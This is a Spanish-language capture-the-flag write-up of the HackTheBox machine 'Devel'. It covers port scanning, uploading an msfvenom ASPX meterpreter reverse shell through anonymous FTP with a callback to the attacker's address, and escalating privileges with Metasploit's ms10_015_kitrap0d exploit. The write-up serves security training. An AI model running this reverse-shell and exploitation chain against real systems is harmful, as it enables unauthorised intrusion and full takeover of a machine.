> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/devel.md).

# Devel

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.5
```

para verificar la conectividad de red.

<figure><img src="/files/wg7UE4dh3RasL5gQLspU" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.5
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/4LM4mds7XJgplLgOrfKd" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 21 (FTP):** FTP es un protocolo de transferencia de archivos, y su mayor riesgo es la posibilidad de acceso anónimo o el uso de credenciales débiles. Asegúrate de verificar si el acceso anónimo está habilitado, ya que esto permitiría a cualquier persona conectarse sin credenciales. También es importante comprobar si el servidor está configurado para permitir la conexión sobre FTP sin cifrado, ya que los datos y las credenciales se transmiten en texto claro, lo que facilita la interceptación.
* **Puerto 80 (HTTP):** Este puerto generalmente está asociado a servidores web. Si el servicio está ejecutando un servidor web como Apache, Nginx o IIS, es recomendable buscar vulnerabilidades conocidas relacionadas con el software y versiones en uso (por ejemplo, a través de CVEs). Además, es importante realizar pruebas de seguridad en las aplicaciones web que se ejecutan en el servidor, como inyecciones SQL, Cross-Site Scripting (XSS) o vulnerabilidades de escalada de privilegios.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 10.10.10.5
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/JLAd8G0FJkIaieSsebss" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="/files/uppncui1rB7oE79sZfB8" alt=""><figcaption></figcaption></figure>

Es un **Microsoft IIS**. Como tenemos el puerto 21 con el usuario Anonymous podemos subir un archivo **.aspx** y hacer una Reverse Shell.

### 🚀 **EXPLOTACIÓN**

Creamos el archivo malicioso.

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx -o shell.aspx
```

<figure><img src="/files/IduR9p6Zt12zZjOzJPAx" alt=""><figcaption></figcaption></figure>

Lo subimos a través de FTP.

```bash
ftp 10.10.10.5
```

<figure><img src="/files/LewsGSfaTm1SiMTvnrrP" alt=""><figcaption></figcaption></figure>

Ejecutamos mediante la URL y conseguimos la conexión con **meterpreter**.

```
shell
```

<figure><img src="/files/4bAor4D4JL71Kq8wlDLC" alt=""><figcaption></figcaption></figure>

Se accede al directorio `C:\Windows\TEMP` para operar en un área temporal segura.

```bash
meterpreter > cd %TEMP%
meterpreter > pwd
```

Se mantiene la sesión abierta mientras se ejecutan otros módulos en Metasploit.

```bash
meterpreter > background
```

Buscar el módulo de recomendación de exploits locales y ejecutarlo.

```
msf6 exploit(multi/handler) > search suggester
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options
msf6 post(multi/recon/local_exploit_suggester) > sessions -l
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
```

<figure><img src="/files/1Gwx13XMR6652HNoDAA4" alt=""><figcaption></figcaption></figure>

Nos llama la atención el exploit `exploit/windows/local/ms10_015_kitrap0d.`

```bash
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.7
msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions -l
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 2
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
```

<figure><img src="/files/VDgB7HrRixlz895uJ5PJ" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

<figure><img src="/files/r5CYsT3jpC2ui52T1NRm" alt=""><figcaption></figcaption></figure>

Ya somos **root**.

<figure><img src="/files/70aYNsL9R3AJv9GsxwG6" alt=""><figcaption></figcaption></figure>
